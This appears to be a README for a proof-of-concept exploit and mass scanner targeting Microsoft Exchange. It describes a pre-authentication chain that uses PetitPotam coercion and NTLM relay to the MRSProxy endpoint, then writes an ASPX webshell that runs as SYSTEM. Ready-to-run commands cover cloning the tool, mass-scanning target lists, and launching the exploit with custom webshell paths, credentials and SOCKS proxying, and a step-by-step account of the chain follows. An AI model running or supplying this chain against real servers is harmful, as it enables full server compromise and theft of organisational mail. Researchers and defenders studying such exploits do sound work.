CVE-2026-62911 — Exchange MRSProxy Pre-Auth RCE PoC | Scanner + Exploit | NTLM Relay → Webshell → SYSTEM
Pre-authentication Remote Code Execution in Microsoft Exchange Server via NTLM relay to the HTTP.sys-hosted MRSProxy WCF endpoint, which lacks Extended Protection for Authentication (EPA).
Also detects CVE-2026-96940 (CVSS 8.8) — privilege escalation allowing any authenticated user to read ALL mailboxes in the organization.
┌─────────────┐ PetitPotam ┌─────────────┐ NTLM Relay ┌─────────────┐
│ Exchange A │──────────────→│ Attacker │──────────────→│ Exchange B │
│ (trigger) │ MS-EFSR │ (relay) │ MRSProxy │ (target) │
│ │ NTLM hash │ │ HTTP.sys │ │
└─────────────┘ └─────────────┘ └─────────────┘
│
IMailbox_Config6()
filePath=shell.aspx
│
IMailbox_Connect()
PSTSession.Open()
│
┌───────▼───────┐
│ ASPX Webshell │
│ NT AUTHORITY │
│ \SYSTEM │
└───────────────┘
Zero credentials required. PetitPotam triggers unauthenticated MS-EFSR coercion. The machine account NTLM hash is relayed to MRSProxy, which lacks channel binding (EPA). The ConfigPst file path injection writes an arbitrary file to disk — no extension validation.
| Product | Vulnerable | Patched | KB |
|---|---|---|---|
| Exchange 2016 CU23 | < 15.1.2507.72 | 15.1.2507.72 | KB5121576 |
| Exchange 2019 CU14 | < 15.2.1544.43 | 15.2.1544.43 | KB5121575 |
| Exchange 2019 CU15 | < 15.2.1748.48 | 15.2.1748.48 | KB5121574 |
| Exchange SE RTM | < 15.2.2562.45 | 15.2.2562.45 | KB5121573 |
git clone https://github.com/c5z54/cve-2026-62911-poc.git
cd cve-2026-62911-poc
pip install -r requirements.txt
# Single target
python3 poc.py --scan -t mail.target.com
# Mass scan from file
python3 poc.py --scan -f targets.txt
# JSON output
python3 poc.py --scan -t mail.target.com --json
# Save results
python3 poc.py --scan -f targets.txt --json -o results.json
Example output:
mail.target.com
MRSProxy: HTTP 401 Server=Microsoft-HTTPAPI/2.0 [VULNERABLE]
Version: 15.1.2507.39
Domain: CORP.TARGET.COM
Hostname: EXCH01.CORP.TARGET.COM
[!] CVE-2026-62911 (CVSS 8.0) — Pre-auth NTLM relay RCE via MRSProxy (no EPA)
Installed: 15.1.2507.39 | Patch: 15.1.2507.72 (KB5121576)
[!] CVE-2026-96940 (CVSS 8.8) — Privilege escalation — read any mailbox in org
Installed: 15.1.2507.39 | Patch: 15.1.2507.75 (KB5129958)
# Basic — two Exchange servers, zero credentials
python3 poc.py -t 10.0.0.10 -e 10.0.0.11 -l 10.0.0.100
# With AD credentials for PetitPotam
python3 poc.py -t 10.0.0.10 -e 10.0.0.11 -l 10.0.0.100 \
-u john -p 'P@ss123' -d CORP
# Custom webshell path
python3 poc.py -t 10.0.0.10 -e 10.0.0.11 -l 10.0.0.100 \
--webshell-path 'C:\inetpub\wwwroot\aspnet_client\x.aspx'
# Through SOCKS proxy
python3 poc.py -t 10.0.0.10 -e 10.0.0.11 -l 10.0.0.100 \
--socks 127.0.0.1 --socks-port 10800
# Verify webshell
python3 poc.py --verify-only -t 10.0.0.10
impacket >= 0.11.0 (exploit mode only — scanner uses stdlib)pysocks (optional — SOCKS proxy support)PetitPotam calls EfsRpcOpenFileRaw (MS-EFSR, opnum 0) on the trigger Exchange server with a UNC path pointing to the attacker. The server authenticates to the attacker with its machine account NTLM hash.
NTLM Relay captures the Type 1/2/3 NTLM messages over SMB and forwards them to the target Exchange's MRSProxy endpoint over HTTPS. Because MRSProxy on HTTP.sys lacks EPA (channel binding), the relay succeeds.
WCF Exploitation uses the authenticated session to call IMailbox_Config6 with a filePath pointing to a .aspx webshell location. The PstDestinationMailbox.ConfigPst() method does not validate the file extension.
File Write is triggered by IMailbox_Connect(), which calls PSTSession.Open(), writing the attacker's content to disk.
Webshell executes as NT AUTHORITY\SYSTEM — full server compromise.
This tool is provided for authorized security testing and research only. Use it only against systems you have explicit written permission to test. Unauthorized access to computer systems is illegal. The author is not responsible for any misuse.